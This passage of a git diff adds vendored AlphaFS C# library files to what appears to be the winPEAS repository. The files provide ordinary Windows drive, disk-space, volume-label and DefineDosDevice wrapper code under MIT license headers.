/// <param name="drivePath">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share</param>
|
||||
/// <param name="spaceInfoType"><c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information, <c>false</c> Get only size information.</param>
|
||||
/// <param name="refresh">Refreshes the state of the object.</param>
|
||||
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>
|
||||
[SecurityCritical]
|
||||
public DiskSpaceInfo(string drivePath, bool? spaceInfoType, bool refresh, bool continueOnException) : this(drivePath)
|
||||
{
|
||||
if (spaceInfoType == null)
|
||||
{
|
||||
_initGetSpaceInfo = true;
|
||||
_initGetClusterInfo = true;
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
_initGetSpaceInfo = (bool) !spaceInfoType;
|
||||
_initGetClusterInfo = (bool) spaceInfoType;
|
||||
}
|
||||
|
||||
_continueOnAccessError = continueOnException;
|
||||
|
||||
if (refresh)
|
||||
Refresh();
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Indicates the amount of available free space on a drive, formatted as percentage.</summary>
|
||||
public string AvailableFreeSpacePercent
|
||||
{
|
||||
get
|
||||
{
|
||||
return PercentCalculate(TotalNumberOfBytes - (TotalNumberOfBytes - TotalNumberOfFreeBytes), 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Indicates the amount of available free space on a drive, formatted as a unit size.</summary>
|
||||
public string AvailableFreeSpaceUnitSize
|
||||
{
|
||||
get { return Utils.UnitSizeToText(TotalNumberOfFreeBytes, _cultureInfo); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Returns the Clusters size.</summary>
|
||||
public long ClusterSize
|
||||
{
|
||||
get { return SectorsPerCluster * BytesPerSector; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the name of a drive.</summary>
|
||||
/// <returns>The name of the drive.</returns>
|
||||
/// <remarks>This property is the name assigned to the drive, such as C:\ or E:\</remarks>
|
||||
public string DriveName { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread, formatted as a unit size.</summary>
|
||||
public string TotalSizeUnitSize
|
||||
{
|
||||
get { return Utils.UnitSizeToText(TotalNumberOfBytes, _cultureInfo); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Indicates the amount of used space on a drive, formatted as percentage.</summary>
|
||||
public string UsedSpacePercent
|
||||
{
|
||||
get
|
||||
{
|
||||
return PercentCalculate(TotalNumberOfBytes - FreeBytesAvailable, 0, TotalNumberOfBytes).ToString("0.##", _cultureInfo) + "%";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Indicates the amount of used space on a drive, formatted as a unit size.</summary>
|
||||
public string UsedSpaceUnitSize
|
||||
{
|
||||
get { return Utils.UnitSizeToText(TotalNumberOfBytes - FreeBytesAvailable, _cultureInfo); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>The total number of free bytes on a disk that are available to the user who is associated with the calling thread.</summary>
|
||||
public long FreeBytesAvailable { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of bytes on a disk that are available to the user who is associated with the calling thread.</summary>
|
||||
public long TotalNumberOfBytes { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of free bytes on a disk.</summary>
|
||||
public long TotalNumberOfFreeBytes { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The number of bytes per sector.</summary>
|
||||
public int BytesPerSector { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of free clusters on the disk that are available to the user who is associated with the calling thread.</summary>
|
||||
public int NumberOfFreeClusters { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The number of sectors per cluster.</summary>
|
||||
public int SectorsPerCluster { get; private set; }
|
||||
|
||||
|
||||
/// <summary>The total number of clusters on the disk that are available to the user who is associated with the calling thread.
|
||||
/// If per-user disk quotas are in use, this value may be less than the total number of clusters on the disk.
|
||||
/// </summary>
|
||||
public long TotalNumberOfClusters { get; private set; }
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>Refreshes the state of the object.</summary>
|
||||
public void Refresh()
|
||||
{
|
||||
Reset();
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
int lastError;
|
||||
|
||||
|
||||
// Get size information.
|
||||
|
||||
if (_initGetSpaceInfo)
|
||||
{
|
||||
long freeBytesAvailable, totalNumberOfBytes, totalNumberOfFreeBytes;
|
||||
|
||||
var success = NativeMethods.GetDiskFreeSpaceEx(DriveName, out freeBytesAvailable, out totalNumberOfBytes, out totalNumberOfFreeBytes);
|
||||
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)
|
||||
NativeError.ThrowException(lastError, DriveName);
|
||||
|
||||
|
||||
FreeBytesAvailable = freeBytesAvailable;
|
||||
TotalNumberOfBytes = totalNumberOfBytes;
|
||||
TotalNumberOfFreeBytes = totalNumberOfFreeBytes;
|
||||
}
|
||||
|
||||
|
||||
// Get cluster information.
|
||||
|
||||
if (_initGetClusterInfo)
|
||||
{
|
||||
int sectorsPerCluster, bytesPerSector, numberOfFreeClusters;
|
||||
uint totalNumberOfClusters;
|
||||
|
||||
var success = NativeMethods.GetDiskFreeSpace(DriveName, out sectorsPerCluster, out bytesPerSector, out numberOfFreeClusters, out totalNumberOfClusters);
|
||||
|
||||
lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!success && !_continueOnAccessError && lastError != Win32Errors.ERROR_NOT_READY)
|
||||
NativeError.ThrowException(lastError, DriveName);
|
||||
|
||||
|
||||
BytesPerSector = bytesPerSector;
|
||||
NumberOfFreeClusters = numberOfFreeClusters;
|
||||
SectorsPerCluster = sectorsPerCluster;
|
||||
TotalNumberOfClusters = totalNumberOfClusters;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Initializes all <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> properties to 0.</summary>
|
||||
private void Reset()
|
||||
{
|
||||
if (_initGetSpaceInfo)
|
||||
{
|
||||
FreeBytesAvailable = 0;
|
||||
TotalNumberOfBytes = 0;
|
||||
TotalNumberOfFreeBytes = 0;
|
||||
}
|
||||
|
||||
|
||||
if (_initGetClusterInfo)
|
||||
{
|
||||
BytesPerSector = 0;
|
||||
NumberOfFreeClusters = 0;
|
||||
SectorsPerCluster = 0;
|
||||
TotalNumberOfClusters = 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Returns the drive name.</summary>
|
||||
/// <returns>A string that represents this object.</returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return DriveName;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Calculates a percentage value.</summary>
|
||||
private static double PercentCalculate(double currentValue, double minimumValue, double maximumValue)
|
||||
{
|
||||
return currentValue < 0 || maximumValue <= 0 ? 0 : currentValue * 100 / (maximumValue - minimumValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
415
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DriveInfo.cs
vendored
Normal file
415
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DriveInfo.cs
vendored
Normal file
@@ -0,0 +1,415 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Provides access to information on a local or remote drive.</summary>
|
||||
/// <remarks>
|
||||
/// This class models a drive and provides methods and properties to query for drive information.
|
||||
/// Use DriveInfo to determine what drives are available, and what type of drives they are.
|
||||
/// You can also query to determine the capacity and available free space on the drive.
|
||||
/// </remarks>
|
||||
[Serializable]
|
||||
[SecurityCritical]
|
||||
public sealed class DriveInfo
|
||||
{
|
||||
[NonSerialized] private readonly VolumeInfo _volumeInfo;
|
||||
[NonSerialized] private readonly DiskSpaceInfo _dsi;
|
||||
[NonSerialized] private bool _initDsie;
|
||||
[NonSerialized] private DriveType? _driveType;
|
||||
[NonSerialized] private string _dosDeviceName;
|
||||
[NonSerialized] private DirectoryInfo _rootDirectory;
|
||||
[NonSerialized] private readonly string _name;
|
||||
|
||||
|
||||
#region Constructors
|
||||
|
||||
/// <summary>Provides access to information on the specified drive.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <param name="driveName">
|
||||
/// A valid drive path or drive letter.
|
||||
/// <para>This can be either uppercase or lowercase,</para>
|
||||
/// <para>'a' to 'z' or a network share in the format: \\server\share</para>
|
||||
/// </param>
|
||||
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
|
||||
[SecurityCritical]
|
||||
public DriveInfo(string driveName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(driveName))
|
||||
throw new ArgumentNullException("driveName");
|
||||
|
||||
|
||||
driveName = driveName.Length == 1 ? driveName + Path.VolumeSeparatorChar : Path.GetPathRoot(driveName, false);
|
||||
|
||||
if (Utils.IsNullOrWhiteSpace(driveName))
|
||||
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "driveName");
|
||||
|
||||
|
||||
_name = Path.AddTrailingDirectorySeparator(driveName, false);
|
||||
|
||||
// Initiate VolumeInfo() lazyload instance.
|
||||
_volumeInfo = new VolumeInfo(_name, false, true);
|
||||
|
||||
// Initiate DiskSpaceInfo() lazyload instance.
|
||||
_dsi = new DiskSpaceInfo(_name, null, false, true);
|
||||
}
|
||||
|
||||
#endregion // Constructors
|
||||
|
||||
|
||||
#region Properties
|
||||
|
||||
/// <summary>Indicates the amount of available free space on a drive.</summary>
|
||||
/// <returns>The amount of free space available on the drive, in bytes.</returns>
|
||||
/// <remarks>This property indicates the amount of free space available on the drive. Note that this number may be different from the <see cref="TotalFreeSpace"/> number because this property takes into account disk quotas.</remarks>
|
||||
public long AvailableFreeSpace
|
||||
{
|
||||
get
|
||||
{
|
||||
GetDeviceInfo(3, 0);
|
||||
return null == _dsi ? 0 : _dsi.FreeBytesAvailable;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Gets the name of the file system, such as NTFS or FAT32.</summary>
|
||||
/// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>
|
||||
public string DriveFormat
|
||||
{
|
||||
get { return (string) GetDeviceInfo(0, 1); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the drive type.</summary>
|
||||
/// <returns>One of the <see cref="System.IO.DriveType"/> values.</returns>
|
||||
/// <remarks>
|
||||
/// The DriveType property indicates whether a drive is any of: CDRom, Fixed, Unknown, Network, NoRootDirectory,
|
||||
/// Ram, Removable, or Unknown. Values are listed in the <see cref="System.IO.DriveType"/> enumeration.
|
||||
/// </remarks>
|
||||
public DriveType DriveType
|
||||
{
|
||||
get { return (DriveType) GetDeviceInfo(2, 0); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets a value indicating whether a drive is ready.</summary>
|
||||
/// <returns><c>true</c> if the drive is ready; otherwise, <c>false</c>.</returns>
|
||||
/// <remarks>
|
||||
/// IsReady indicates whether a drive is ready. For example, it indicates whether a CD is in a CD drive or whether
|
||||
/// a removable storage device is ready for read/write operations. If you do not test whether a drive is ready, and
|
||||
/// it is not ready, querying the drive using DriveInfo will raise an IOException.
|
||||
///
|
||||
/// Do not rely on IsReady() to avoid catching exceptions from other members such as TotalSize, TotalFreeSpace, and DriveFormat.
|
||||
/// Between the time that your code checks IsReady and then accesses one of the other properties
|
||||
/// (even if the access occurs immediately after the check), a drive may have been disconnected or a disk may have been removed.
|
||||
/// </remarks>
|
||||
public bool IsReady
|
||||
{
|
||||
get { return File.ExistsCore(null, true, Name, PathFormat.LongFullPath); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the name of the drive.</summary>
|
||||
/// <returns>The name of the drive.</returns>
|
||||
/// <remarks>This property is the name assigned to the drive, such as C:\ or E:\</remarks>
|
||||
public string Name
|
||||
{
|
||||
get { return _name; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the root directory of a drive.</summary>
|
||||
/// <returns>A DirectoryInfo object that contains the root directory of the drive.</returns>
|
||||
public DirectoryInfo RootDirectory
|
||||
{
|
||||
get { return (DirectoryInfo) GetDeviceInfo(2, 1); }
|
||||
}
|
||||
|
||||
/// <summary>Gets the total amount of free space available on a drive.</summary>
|
||||
/// <returns>The total free space available on a drive, in bytes.</returns>
|
||||
/// <remarks>This property indicates the total amount of free space available on the drive, not just what is available to the current user.</remarks>
|
||||
public long TotalFreeSpace
|
||||
{
|
||||
get
|
||||
{
|
||||
GetDeviceInfo(3, 0);
|
||||
return null == _dsi ? 0 : _dsi.TotalNumberOfFreeBytes;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets the total size of storage space on a drive.</summary>
|
||||
/// <returns>The total size of the drive, in bytes.</returns>
|
||||
/// <remarks>This property indicates the total size of the drive in bytes, not just what is available to the current user.</remarks>
|
||||
public long TotalSize
|
||||
{
|
||||
get
|
||||
{
|
||||
GetDeviceInfo(3, 0);
|
||||
return null == _dsi ? 0 : _dsi.TotalNumberOfBytes;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets or sets the volume label of a drive.</summary>
|
||||
/// <returns>The volume label.</returns>
|
||||
/// <remarks>
|
||||
/// The label length is determined by the operating system. For example, NTFS allows a volume label
|
||||
/// to be up to 32 characters long. Note that <c>null</c> is a valid VolumeLabel.
|
||||
/// </remarks>
|
||||
public string VolumeLabel
|
||||
{
|
||||
get { return (string) GetDeviceInfo(0, 2); }
|
||||
set { Volume.SetVolumeLabel(Name, value); }
|
||||
}
|
||||
|
||||
/// <summary>[AlphaFS] Returns the <see ref="Alphaleonis.Win32.Filesystem.DiskSpaceInfo"/> instance.</summary>
|
||||
public DiskSpaceInfo DiskSpaceInfo
|
||||
{
|
||||
get
|
||||
{
|
||||
GetDeviceInfo(3, 0);
|
||||
return _dsi;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] The MS-DOS device name.</summary>
|
||||
public string DosDeviceName
|
||||
{
|
||||
get { return (string) GetDeviceInfo(1, 0); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Indicates if this drive is a SUBST.EXE / DefineDosDevice drive mapping.</summary>
|
||||
public bool IsDosDeviceSubstitute
|
||||
{
|
||||
get { return !Utils.IsNullOrWhiteSpace(DosDeviceName) && DosDeviceName.StartsWith(Path.NonInterpretedPathPrefix, StringComparison.OrdinalIgnoreCase); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Indicates if this drive is a UNC path.</summary>
|
||||
public bool IsUnc
|
||||
{
|
||||
get
|
||||
{
|
||||
return !IsDosDeviceSubstitute && DriveType == DriveType.Network ||
|
||||
|
||||
// Handle Host devices with file systems: FAT/FAT32, UDF (CDRom), ...
|
||||
Name.StartsWith(Path.UncPrefix, StringComparison.Ordinal) && DriveType == DriveType.NoRootDirectory && DriveFormat.Equals(DriveType.Unknown.ToString(), StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>
|
||||
public bool IsVolume
|
||||
{
|
||||
get { return null != GetDeviceInfo(0, 0); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Contains information about a file-system volume.</summary>
|
||||
/// <returns>A VolumeInfo object that contains file-system volume information of the drive.</returns>
|
||||
public VolumeInfo VolumeInfo
|
||||
{
|
||||
get { return (VolumeInfo) GetDeviceInfo(0, 0); }
|
||||
}
|
||||
|
||||
|
||||
#endregion // Properties
|
||||
|
||||
|
||||
#region Methods
|
||||
|
||||
#region .NET
|
||||
|
||||
/// <summary>Retrieves the <see cref="DriveInfo"/> of all logical drives on the Computer.</summary>
|
||||
/// <returns>An array of type <see cref="Alphaleonis.Win32.Filesystem.DriveInfo"/> that represents the logical drives on the Computer.</returns>
|
||||
[SecurityCritical]
|
||||
public static DriveInfo[] GetDrives()
|
||||
{
|
||||
return Directory.EnumerateLogicalDrivesCore(false, false).ToArray();
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Returns a drive name as a string.</summary>
|
||||
/// <returns>The name of the drive.</returns>
|
||||
/// <remarks>This method returns the Name property.</remarks>
|
||||
public override string ToString()
|
||||
{
|
||||
return _name;
|
||||
}
|
||||
|
||||
#endregion // .NET
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Enumerates the drive names of all logical drives on the Computer.</summary>
|
||||
/// <param name="fromEnvironment">Retrieve logical drives as known by the Environment.</param>
|
||||
/// <param name="isReady">Retrieve only when accessible (IsReady) logical drives.</param>
|
||||
/// <returns>
|
||||
/// An IEnumerable of type <see cref="Alphaleonis.Win32.Filesystem.DriveInfo"/> that represents
|
||||
/// the logical drives on the Computer.
|
||||
/// </returns>
|
||||
[SecurityCritical]
|
||||
public static IEnumerable<DriveInfo> EnumerateDrives(bool fromEnvironment, bool isReady)
|
||||
{
|
||||
return Directory.EnumerateLogicalDrivesCore(fromEnvironment, isReady);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Gets the first available drive letter on the local system.</summary>
|
||||
/// <returns>A drive letter as <see cref="char"/>. When no drive letters are available, an exception is thrown.</returns>
|
||||
/// <remarks>The letters "A" and "B" are reserved for floppy drives and will never be returned by this function.</remarks>
|
||||
public static char GetFreeDriveLetter()
|
||||
{
|
||||
return GetFreeDriveLetter(false);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Gets an available drive letter on the local system.</summary>
|
||||
/// <param name="getLastAvailable">When <c>true</c> get the last available drive letter. When <c>false</c> gets the first available drive letter.</param>
|
||||
/// <returns>A drive letter as <see cref="char"/>. When no drive letters are available, an exception is thrown.</returns>
|
||||
/// <remarks>The letters "A" and "B" are reserved for floppy drives and will never be returned by this function.</remarks>
|
||||
/// <exception cref="ArgumentOutOfRangeException">No drive letters available.</exception>
|
||||
[SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
|
||||
public static char GetFreeDriveLetter(bool getLastAvailable)
|
||||
{
|
||||
var freeDriveLetters = "CDEFGHIJKLMNOPQRSTUVWXYZ".Except(Directory.EnumerateLogicalDrivesCore(false, false).Select(d => d.Name[0]));
|
||||
|
||||
try
|
||||
{
|
||||
return getLastAvailable ? freeDriveLetters.Last() : freeDriveLetters.First();
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw new ArgumentOutOfRangeException(Resources.No_Drive_Letters_Available);
|
||||
}
|
||||
}
|
||||
|
||||
#endregion // Methods
|
||||
|
||||
|
||||
#region Private Methods
|
||||
|
||||
/// <summary>Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
|
||||
[SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")]
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
private object GetDeviceInfo(int type, int mode)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (type)
|
||||
{
|
||||
#region Volume
|
||||
|
||||
// VolumeInfo properties.
|
||||
case 0:
|
||||
if (Utils.IsNullOrWhiteSpace(_volumeInfo.FullPath))
|
||||
_volumeInfo.Refresh();
|
||||
|
||||
switch (mode)
|
||||
{
|
||||
case 0:
|
||||
// IsVolume, VolumeInfo
|
||||
return _volumeInfo;
|
||||
|
||||
case 1:
|
||||
// DriveFormat
|
||||
return null == _volumeInfo ? DriveType.Unknown.ToString() : _volumeInfo.FileSystemName ?? DriveType.Unknown.ToString();
|
||||
|
||||
case 2:
|
||||
// VolumeLabel
|
||||
return null == _volumeInfo ? string.Empty : _volumeInfo.Name ?? string.Empty;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
|
||||
// Volume related.
|
||||
case 1:
|
||||
switch (mode)
|
||||
{
|
||||
case 0:
|
||||
// DosDeviceName
|
||||
return _dosDeviceName ?? (_dosDeviceName = Volume.GetVolumeDeviceName(Name));
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
#endregion // Volume
|
||||
|
||||
|
||||
#region Drive
|
||||
|
||||
// Drive related.
|
||||
case 2:
|
||||
switch (mode)
|
||||
{
|
||||
case 0:
|
||||
// DriveType
|
||||
return _driveType ?? (_driveType = Volume.GetDriveType(Name));
|
||||
|
||||
case 1:
|
||||
// RootDirectory
|
||||
return _rootDirectory ?? (_rootDirectory = new DirectoryInfo(null, Name, PathFormat.RelativePath));
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
// DiskSpaceInfo related.
|
||||
case 3:
|
||||
switch (mode)
|
||||
{
|
||||
case 0:
|
||||
// AvailableFreeSpace, TotalFreeSpace, TotalSize, DiskSpaceInfo
|
||||
if (!_initDsie)
|
||||
{
|
||||
_dsi.Refresh();
|
||||
_initDsie = true;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
#endregion // Drive
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return type == 0 && mode > 0 ? string.Empty : null;
|
||||
}
|
||||
|
||||
#endregion // Private
|
||||
}
|
||||
}
|
||||
119
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DefineDosDevice.cs
vendored
Normal file
119
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DefineDosDevice.cs
vendored
Normal file
@@ -0,0 +1,119 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.</param>
|
||||
/// <param name="targetPath">An MS-DOS path that will implement this device.</param>
|
||||
[SecurityCritical]
|
||||
public static void DefineDosDevice(string deviceName, string targetPath)
|
||||
{
|
||||
DefineDosDeviceCore(true, deviceName, targetPath, DosDeviceAttributes.None, false);
|
||||
}
|
||||
|
||||
/// <summary>[AlphaFS] Defines, redefines, or deletes MS-DOS device names.</summary>
|
||||
/// <param name="deviceName">
|
||||
/// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.
|
||||
/// </param>
|
||||
/// <param name="targetPath">
|
||||
/// >An MS-DOS path that will implement this device. If <paramref name="deviceAttributes"/> parameter has the
|
||||
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag specified, <paramref name="targetPath"/> is used as-is.
|
||||
/// </param>
|
||||
/// <param name="deviceAttributes">
|
||||
/// The controllable aspects of the DefineDosDevice function, <see cref="DosDeviceAttributes"/> flags which will be combined with the
|
||||
/// default.
|
||||
/// </param>
|
||||
[SecurityCritical]
|
||||
public static void DefineDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes)
|
||||
{
|
||||
DefineDosDeviceCore(true, deviceName, targetPath, deviceAttributes, false);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>Defines, redefines, or deletes MS-DOS device names.</summary>
|
||||
/// <exception cref="ArgumentException"/>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="isDefine">
|
||||
/// <c>true</c> defines a new MS-DOS device. <c>false</c> deletes a previously defined MS-DOS device.
|
||||
/// </param>
|
||||
/// <param name="deviceName">
|
||||
/// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting.
|
||||
/// </param>
|
||||
/// <param name="targetPath">
|
||||
/// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the
|
||||
/// <see cref="DosDeviceAttributes.RawTargetPath"/> flag is specified, in which case this string is a path string.
|
||||
/// </param>
|
||||
/// <param name="deviceAttributes">
|
||||
/// The controllable aspects of the DefineDosDevice function, <see cref="DosDeviceAttributes"/> flags which will be combined with the
|
||||
/// default.
|
||||
/// </param>
|
||||
/// <param name="exactMatch">
|
||||
/// Only delete MS-DOS device on an exact name match. If <paramref name="exactMatch"/> is <c>true</c>,
|
||||
/// <paramref name="targetPath"/> must be the same path used to create the mapping.
|
||||
/// </param>
|
||||
[SecurityCritical]
|
||||
internal static void DefineDosDeviceCore(bool isDefine, string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(deviceName))
|
||||
throw new ArgumentNullException("deviceName");
|
||||
|
||||
if (isDefine)
|
||||
{
|
||||
// targetPath is allowed to be null.
|
||||
|
||||
// In no case is a trailing backslash ("\") allowed.
|
||||
deviceName = Path.GetRegularPathCore(deviceName, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars, false);
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
var success = NativeMethods.DefineDosDevice(deviceAttributes, deviceName, targetPath);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
NativeError.ThrowException(lastError, deviceName, targetPath);
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
// A pointer to a path string that will implement this device.
|
||||
// The string is an MS-DOS path string unless the DDD_RAW_TARGET_PATH flag is specified, in which case this string is a path string.
|
||||
|
||||
if (exactMatch && !Utils.IsNullOrWhiteSpace(targetPath))
|
||||
deviceAttributes = deviceAttributes | DosDeviceAttributes.ExactMatchOnRemove | DosDeviceAttributes.RawTargetPath;
|
||||
|
||||
// Remove the MS-DOS device name. First, get the name of the Windows NT device
|
||||
// from the symbolic link and then delete the symbolic link from the namespace.
|
||||
|
||||
DefineDosDevice(deviceName, targetPath, deviceAttributes);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
86
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteDosDevice.cs
vendored
Normal file
86
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteDosDevice.cs
vendored
Normal file
@@ -0,0 +1,86 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
